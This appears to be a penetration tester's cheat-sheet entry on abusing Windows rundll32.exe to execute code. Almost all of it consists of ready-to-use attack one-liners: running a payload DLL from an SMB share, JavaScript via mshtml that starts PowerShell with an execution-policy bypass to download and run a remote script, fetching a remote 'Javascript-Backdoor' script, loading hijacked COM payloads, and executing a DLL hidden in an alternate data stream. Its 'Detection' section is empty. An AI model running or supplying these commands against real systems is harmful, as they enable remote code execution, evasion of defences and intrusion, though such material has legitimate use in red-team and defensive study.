~/Privilege Escalation/Windows/Binaries# cat Rundll32.exe.md

Used by Windows to execute dll files

Paths:

C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe

Detection:

Execute

AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.

rundll32.exe AllTheThingsx64,EntryPoint

Use Rundll32.exe to execute a DLL from a SMB share. EntryPoint is the name of the entry point in the .DLL file to execute.

rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint

Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

Use Rundll32.exe to execute a JavaScript script that runs calc.exe.

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")

Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.

rundll32.exe -sta {CLSID}

Alternate data streams

Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).

rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain